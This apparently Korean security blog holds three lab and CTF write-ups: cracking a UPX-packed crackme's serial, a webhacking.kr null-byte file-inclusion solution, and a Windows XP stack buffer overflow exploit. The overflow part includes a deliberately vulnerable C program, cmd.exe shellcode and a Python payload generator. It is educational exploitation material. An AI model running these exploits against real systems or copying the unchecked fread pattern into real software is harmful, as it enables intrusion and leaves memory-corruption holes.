최초 작성일 : 2015/05/13


Codeengn Basic REC Level 05 풀이


- 문제


- 풀이

패킹 확인



UPX Unpacking



프로그램 실행 확인
문자열 Unregistered, 754-GFX-IER-954 확인



Register now ! 클릭
문자열 : Wrong Serial, try again! 확인



디버거를 시작하고 문자열 검색
Wrong Serial, try again!를 확인할 수 있다.



해당 문자열의 위치로 이동하여 JZN 위의 문자열 비교 함수에 Break Point 설정


F2 로 재시작하여 문자열 비교 함수안으로 이동


F7로 계속 실행하다보면 "Registered User" 문자열과 비교하는 것을 확인


그리고 계속 F7로 다시 이동한다.
이번엔 Serial로 추청되는 값은 "XXXXXXXXXX" 문자열과 비교하는 것을 확인



두가지 값 모두 확인
다시 프로그램을 실행시켜 Registered User와 XXXXXXXXXX 입력하면 successfully 출력하며Crack 성공




최초 작성일 : 2014/09/13


webhacking.kr 25번 문제 풀이


문제 접속 : http://webhacking.kr/challenge/bonus/bonus-5/?file=hello

문제 사이트에 접속을 하면
hello.txt, index,php, password.php 가 보여지고
hello world 라는 문자열을 확인할 수 있다.



해당 화면을 유추해보면 hello world는 hello.txt 파일의 내용으로 생각되고,
password.php 파일 안에 이번 문제의 패스워드가 저장되어 있을 것이다.

접속 URL에 ?file=hello 인 것으로 보아 .txt 확장자를 붙여서 파일 내용을 읽는 것으로 보인다.
그럼 file=password 를 하면 password.txt 파일을 읽을 것이고

file=password.php를하면 password.php.txt 파일을 읽게 될 것이다.
결국 password.php 파일을 읽기 위해서는 확장자 .txt를 제거해야 한다.

php에서 종료문자(%00)를 사용하면, 이후의 문자열들은 무시된다.
결국 다음과 같이 종료문자를 삽입하면
http://webhacking.kr/challenge/bonus/bonus-5/?file=password.php%00
php에서는 "password.php%00.txt" 형태로 읽어 들이게 되고 종료문자 이후는 무시되므로
password.php 파일을 읽어 들이게 된다.



Auth 메뉴로 가서 패스워드 입력



 level clear










최초 작성일 : 2014/07/31


Windows Buffer Overflow #3


환경

Windows XP Professional K Version 2002 SP3

VC++ 6.0

 

1. 대상 프로그램

이번 대상 프로그램은 동일한 폴더의 위치에서 badfile의 이름을 가진 파일을 읽어 출력하는 단순한 프로그램이다하지만 해당 프로그램에서 버퍼에 데이터를 저장할 때 별도의 제한 없이 파일의 데이터 크기만큼 버퍼에 저장하여 overflow가 발생한다.

// bof.cpp

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

 

int main(int argc, char **argv)

{

    char str[100];

    FILE *badfile;

    int lSize;

 

    badfile = fopen("badfile", "r");

 


    fseek (badfile , 0, SEEK_END);

    lSize = ftell (badfile);

    rewind (badfile);

    memset(str, 0, sizeof(char) * 100);

    fread(str, sizeof(char), lSize, badfile);

    

    printf("str : %s\n", str);

    printf("Returned Properly\n");

    return 1;

}


2. 취약점 확인

badfile bof.exe 폴더 위치에 다음과 같이 생성한다.


[그림1] badfile 내용

 

bof.exe 를 실행하면 badfile을 읽어 들여 화면에 출력한다.


[그림2] bof.exe 실행하면 badfile의 내용 출력

 

하지만 fread 함수에서 badfile에 저장된 데이터의 크기만큼 읽어 들여 입력 값 길이의 검증 없이버퍼에 저장하게 되므로 결국 buffer overflow가 발생한다.


[그림3] bof 발생


3. Stack 구조

디버거로 stack을 확인 해본 결과 buf(100byte) + sfp(4byte) + ret(4byte) 의 구조를 가진다아래 내용을 badfile로 생성하고 bof.exe를 실행하면 eip overflow되어 Offset 41414141(AAAA)을 가르키게 된다.

 

12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234AAAA

 


[그림4] eip 변조 확인

 

Stack에서 buf의 시작 주소는 0x0012FF1C 임을 확인할 수 있다적당히 buf의 시작 주소 부근에 jump 하도록 하자.


[그림5] stack 구조

 

4. payload 구성

공격에 사용될 payload를 구성해 보면 다음과 같다.

 

buf = 100byte

sfp = 4byte

ret = 4byte

 

buf nop shellcode를 담는다. ret buf에 가도록 하면 shellcode가 실행된다.

 

[      buf           ][  ebp ][   ret      ]

[ nop+shellcode ][ 1234 ][ jmp buf ]

 

buf

sfp

ret

nop+shellcode

1234

jmp buf

 

nop = "\x90" * 60 # 60byte

shellcode = "\x55\x8b\xec\x83\xec\x44\xc6\x45\xfc\x63\xc6\x45\xfd\x6d\xc6\x45\xfe\x64\x6a\x05\x8d\x45\xfc\x50\xb8\xad\x23\x86\x7c\xff\xd0\x6a\x01\xb8\xfa\xca\x81\x7c\xff\xd0" # 40byte # cmd.exe 실행

sfp = "1234"

ret = "0x0012FF2C " # buf 주소 부근. nop 중간에 떨어지게 했다.

 

최종 payload는 다음과 같다.

buf

sfp

ret

nop+shellcode

1234

0x0012FF2C

 

 

5. Buffer Overflow 공격

다음과 같이 python exploit을 작성하여 badfile을 생성하고, bof.exe를 실행하여 bof를 발생시킨다.

// fread_bof.py

import sys

import struct

 

filename = "badfile"

 

nop = "\x90" * 60

shellcode  = "\x55\x8b\xec\x83\xec\x44\xc6\x45\xfc\x63\xc6\x45\xfd\x6d\xc6\x45\xfe\x64\x6a\x05\x8d\x45\xfc"

shellcode += "\x50\xb8\xad\x23\x86\x7c\xff\xd0\x6a\x01\xb8\xfa\xca\x81\x7c\xff\xd0" # 40byte

sfp = "1234"

ret = struct.pack('<L', 0x0012FF2C)

 

payload = nop + shellcode + sfp + ret

print "Payload size : ", len(payload)

 

f = open(filename, 'w')

f.write(payload)

f.close()

 

 

[그림6] bof attack 성공




6. 참고사이트

http://stackoverflow.com/questions/14847015/homework-buffer-overflow



'BOF' 카테고리의 다른 글

[BOF] BOF 개요  (0) 2017.04.29
[windows] windows buffer overflow #2  (0) 2017.04.01
[windows] windows buffer overflow #1  (0) 2017.04.01

+ Recent posts